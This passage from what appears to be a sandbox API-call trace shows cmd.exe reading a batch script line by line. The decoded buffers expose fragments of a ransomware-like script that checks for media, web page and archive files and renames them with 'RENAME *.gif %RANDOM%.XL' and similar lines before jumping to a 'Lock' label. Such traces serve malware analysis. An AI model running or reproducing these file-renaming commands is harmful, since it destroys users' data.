SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] GetFileType (hFile=0x74) returned 0x1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.389] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=4436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l2\r\n") returned 28 [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] GetFileType (hFile=0x74) returned 0x1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0037.390] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=4464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.390] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l2\r\n") returned 28 [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] GetFileType (hFile=0x74) returned 0x1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0037.390] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=4492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.390] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l2\r\n") returned 28 [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.390] GetFileType (hFile=0x74) returned 0x1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0037.390] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=4520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.390] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l2\r\n") returned 28 [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] GetFileType (hFile=0x74) returned 0x1 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0037.391] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=4549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.391] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l2\r\n") returned 29 [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] GetFileType (hFile=0x74) returned 0x1 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0037.391] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.391] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l2\r\n") returned 6 [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.391] GetFileType (hFile=0x74) returned 0x1 [0037.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0037.391] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n2\r\n") returned 26 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] GetFileType (hFile=0x74) returned 0x1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0037.392] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] GetFileType (hFile=0x74) returned 0x1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0037.392] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.392] GetFileType (hFile=0x74) returned 0x1 [0037.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0037.393] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=4600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.393] GetFileType (hFile=0x74) returned 0x1 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0037.393] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=4626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.393] GetFileType (hFile=0x74) returned 0x1 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0037.393] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=4628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] GetFileType (hFile=0x74) returned 0x1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.394] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=4639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] GetFileType (hFile=0x74) returned 0x1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.394] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=4645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.394] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.394] GetFileType (hFile=0x74) returned 0x1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.394] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.394] SetFilePointer (in: hFile=0x74, lDistanceToMove=4647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.395] GetFileType (hFile=0x74) returned 0x1 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.395] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=4673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.395] GetFileType (hFile=0x74) returned 0x1 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.395] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=4684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.395] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.395] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.396] GetFileType (hFile=0x74) returned 0x1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.396] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=4686, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.396] GetFileType (hFile=0x74) returned 0x1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.396] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=4692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.396] GetFileType (hFile=0x74) returned 0x1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.396] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=4694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] GetFileType (hFile=0x74) returned 0x1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.397] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=4720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] GetFileType (hFile=0x74) returned 0x1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.397] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=4722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.397] GetFileType (hFile=0x74) returned 0x1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.397] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=4733, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 